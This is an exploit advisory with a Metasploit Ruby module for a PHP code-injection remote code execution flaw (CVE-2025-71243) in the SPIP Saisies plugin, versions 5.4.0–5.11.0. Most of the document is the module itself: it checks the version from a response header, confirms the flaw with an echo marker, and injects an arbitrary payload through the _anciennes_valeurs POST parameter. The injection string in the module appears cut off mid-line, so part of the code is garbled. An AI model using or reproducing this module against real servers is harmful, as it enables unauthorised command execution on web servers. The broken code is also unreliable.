============================================================================================================================================= | # Title : SPIP Saisies Plugin 5.4.0 – 5.11.0 Remote Code Execution Metasploit Module | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://www.spip.net/en_rubrique25.html | ============================================================================================================================================= [+] Summary : This Metasploit module exploits a PHP code injection vulnerability in the Saisies plugin for SPIP. The vulnerability allows an attacker to inject and execute arbitrary PHP code through the vulnerable parameter: _anciennes_valeurs The module performs: Passive version detection (header-based check when available) Active vulnerability verification (controlled echo test) Remote code execution via crafted POST request Payload execution using PHP architecture within Metasploit Framework If successful, the attacker can execute arbitrary commands on the target server with the privileges of the web server process. [+] POC : class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'SPIP Saisies Plugin RCE (CVE-2025-71243)', 'Description' => %q{ Reliable detection and exploitation of a PHP code injection vulnerability in SPIP Saisies plugin. }, 'Author' => ['indoushka'], 'License' => MSF_LICENSE, 'References' => [['CVE', '2025-71243']], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-01-01' ) ) register_options([ OptString.new('TARGETURI', [true, 'Path to vulnerable form', '/spip.php?page=contact']), OptString.new('PARAM', [true, 'Vulnerable parameter', '_anciennes_valeurs']) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) if res hdr = res.headers['Composed-By'] if hdr && hdr =~ /saisies\((\d+(?:\.\d+)+)\)/ version = Gem::Version.new(Regexp.last_match(1)) if version.between?(Gem::Version.new('5.4.0'), Gem::Version.new('5.11.0')) return CheckCode::Appears("Detected vulnerable Saisies version #{version}") end end end marker = Rex::Text.rand_text_alpha(12) output = execute_php("echo '#{marker}';") return CheckCode::Vulnerable if output&.include?(marker) CheckCode::Safe end def execute_php(code) start_marker = Rex::Text.rand_text_alpha(8) end_marker = Rex::Text.rand_text_alpha(8) wrapped = "echo '#{start_marker}'; #{code}; echo '#{end_marker}';" injection = "x' ?> 'POST', 'uri' => normalize_uri(uri_path), 'vars_get' => vars_get, 'vars_post' => { datastore['PARAM'] => injection } }) return nil unless res && res.body regex = /#{Regexp.escape(start_marker)}(.*?)#{Regexp.escape(end_marker)}/m match = res.body.match(regex) match ? match[1].strip : nil end def exploit print_status('Triggering payload...') result = execute_php(payload.encoded) if result print_good("Execution result:\n#{result}") else fail_with(Failure::UnexpectedReply, 'Payload executed but no output detected') end end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================